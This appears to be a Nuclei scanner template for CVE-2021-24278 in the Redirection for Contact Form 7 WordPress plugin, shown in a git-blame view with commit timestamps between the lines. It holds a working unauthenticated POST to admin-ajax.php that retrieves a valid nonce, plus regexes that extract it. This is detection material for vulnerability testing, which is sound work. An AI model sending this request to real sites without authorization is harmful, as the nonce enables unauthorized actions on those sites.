nuclei-templates/http/cves/2021/CVE-2021-24278.yaml

59 lines
2.0 KiB
YAML
Raw Normal View History

2021-11-26 23:32:48 +00:00
id: CVE-2021-24278
info:
name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
2021-11-26 23:32:48 +00:00
author: 2rs3c
severity: high
description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
2023-09-27 15:51:13 +00:00
impact: |
Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
2023-09-06 12:09:01 +00:00
remediation: |
Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
2021-11-26 23:32:48 +00:00
reference:
- https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
- https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24278
2021-11-26 23:32:48 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-24278
2023-07-11 19:49:27 +00:00
cwe-id: CWE-863
epss-score: 0.06115
epss-percentile: 0.92804
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: querysol
product: redirection_for_contact_form_7
2023-09-06 12:09:01 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol
2021-11-26 23:32:48 +00:00
http:
2021-11-26 23:32:48 +00:00
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
2023-07-11 19:49:27 +00:00
body: "action=wpcf7r_get_nonce&param=wp_rest"
2021-11-26 23:32:48 +00:00
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
2021-11-27 04:34:24 +00:00
- type: regex
2021-11-26 23:32:48 +00:00
part: body
2021-11-27 04:34:24 +00:00
regex:
- '"success":true'
- '"nonce":"[a-f0-9]+"'
condition: and
2021-11-26 23:32:48 +00:00
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
2021-11-26 23:32:48 +00:00
extractors:
- type: regex
regex:
- '"nonce":"[a-f0-9]+"'
2023-07-11 19:49:27 +00:00
part: body
# digest: 490a00463044022024a2e39a45c5b09776230007e1053f4b547754504b35b7c333ebede4d740639602205b9d4836f51d900c15d2ccae4b1591b9c1a157e8cea73583605e2febdd12e4c4:922c64590222798bb761d5b6d8e72950